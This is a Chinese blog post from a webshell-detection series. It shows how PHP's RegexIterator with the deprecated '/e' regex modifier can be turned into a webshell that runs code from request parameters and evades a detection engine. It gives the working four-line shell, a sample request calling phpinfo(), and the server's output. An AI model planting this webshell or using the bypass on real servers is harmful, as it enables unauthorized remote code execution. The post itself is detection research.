

没死透的正则exec（四）

这是[代码审计知识星球](#)中Webshell专题的第6篇文章。

#Webshell检测那些事# 书接上文。上文我通过查看PHP底层 `pcre_get_compiled_regex_cache` 函数的代码，发现修饰符间可以插入空格和换行，利用这个方法绕过了QT的检测。

继续阅读 `pcre_get_compiled_regex_cache` 函数，也没有发现其他有趣的事情了。

这时候我突发奇想，想看看PHP中有哪些函数是调用了 `pcre_get_compiled_regex_cache` 的，于是就全局搜索了一下这个关键字。

```

v  libmagic.patch  ext\fileinfo  2
+   if ((pce = pcre_get_compiled_regex_cache(Z_STRVAL_P(patt), Z_STRLEN_P(patt) TSRMLS_CC)) == NULL) {
+       if ((pce = pcre_get_compiled_regex_cache(Z_STRVAL_P(pattern), Z_STRLEN_P(pattern) TSRMLS_CC)) == NULL) {
v  C  funcs.c  ext\fileinfo\libmagic  1
|   if ((pce = pcre_get_compiled_regex_cache(Z_STRVAL_P(patt), Z_STRLEN_P(patt) TSRMLS_CC)) == NULL) {
v  C  softmagic.c  ext\fileinfo\libmagic  1
|   if ((pce = pcre_get_compiled_regex_cache(Z_STRVAL_P(pattern), Z_STRLEN_P(pattern) TSRMLS_CC)) == NULL) {
v  C  php_imap.c  ext\imap  1
|   if ((pce = pcre_get_compiled_regex_cache(regex, regex_len TSRMLS_CC)) == NULL) {
v  C  php_pcre.c  ext\pcre  8
|   /* {{{ pcre_get_compiled_regex_cache
|   PHPAPI pcre_cache_entry* pcre_get_compiled_regex_cache(char *regex, int regex_len TSRMLS_DC)
|   pcre_cache_entry * pce = pcre_get_compiled_regex_cache(regex, strlen(regex) TSRMLS_CC);
|   pcre_cache_entry * pce = pcre_get_compiled_regex_cache(regex, strlen(regex) TSRMLS_CC);
|   if ((pce = pcre_get_compiled_regex_cache(regex, regex_len TSRMLS_CC)) == NULL) {
|   if ((pce = pcre_get_compiled_regex_cache(regex, regex_len TSRMLS_CC)) == NULL) {
|   if ((pce = pcre_get_compiled_regex_cache(regex, regex_len TSRMLS_CC)) == NULL) {
|   if ((pce = pcre_get_compiled_regex_cache(regex, regex_len TSRMLS_CC)) == NULL) {
v  C  php_pcre.h  ext\pcre  1
|   PHPAPI pcre_cache_entry* pcre_get_compiled_regex_cache(char *regex, int regex_len TSRMLS_DC);
v  C  spl_iterators.c  ext\spl  2
|   intern->u.regex.pce = pcre_get_compiled_regex_cache(regex, regex_len TSRMLS_CC);
|   /* pcre_get_compiled_regex_cache has already sent error */

```

可见，有大概4个扩展使用了这个函数，分别是：

- fileinfo
- imap
- pcre
- spl

其中，pcre自不用说；imap主要是用到了 `preg_match` 而没有使用 `preg_replace` 所以不存在问题；fileinfo即使用了 `preg_match` 又使用过 `preg_replace`，但后者的正则表达式参数不可控，也无法利用。

最后是spl，spl中为什么会用到 `preg_replace` 呢？

这就涉及到 `RegexIterator` 这个类，这个SPL类用于将一个普通迭代器变成一个具有正则功能的迭代器。而正则的模式、方法等都是可以在这个类对象中指定的。


所以，在阅读其文档后，我构造了这样一个Webshell：

```
1 <?php
2 $i = new RegexIterator(new ArrayIterator($_REQUEST[2333]), '/.*/e',
    RegexIterator::REPLACE);
3 $i->replacement = '$0';
4 foreach ($i as $a) {}
```

最终的 preg_replace 过程是在遍历这个迭代器的时候触发：

localhost:8080/4.php?2333[]=phpinfo();

PHP Version 5.6.40



System	Linux 3b597db422a6 4.19.104-microsoft-standard #1 SMP Wed Feb 19 06:37:35 UTC 2020 x86_64
Build Date	Jan 23 2019 00:09:07
Configure Command	'./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-curl' '--with-libedit' '--with-openssl' '--with-zip' '--with-ldap=libltdl' 'x86_64-linux-gnu' '--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-fstack-protector-strong -fPIC -fPIE -O2' 'LDFLAGS=-Wl,-O1 -Wl,-hash-style=both -pie' 'CFLAGS=-fstack-protector-strong -fPIC -fPIE -O2'
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/usr/local/etc/php
Loaded Configuration File	(none)
Scan this dir for additional .ini files	/usr/local/etc/php/conf.d
Additional .ini files parsed	(none)
PHP API	20131106

这一个样本是我在QT比赛中学到的新知识之一，相比于前面几个样本通过数组、空白字符等trick绕过检测不同，这个样本涉及的类在比赛之前我是不知道的，而是比赛中通过搜索源码与阅读文档新发现的，收获很大。

我不知道在2020年5月QT比赛以前有没有人发现过这个方法，但我自己确实是因为比赛发现的，后面样本有了共享与传阅后，这个类也不是什么秘密了，很快被各种Webshell检测引擎杀掉了。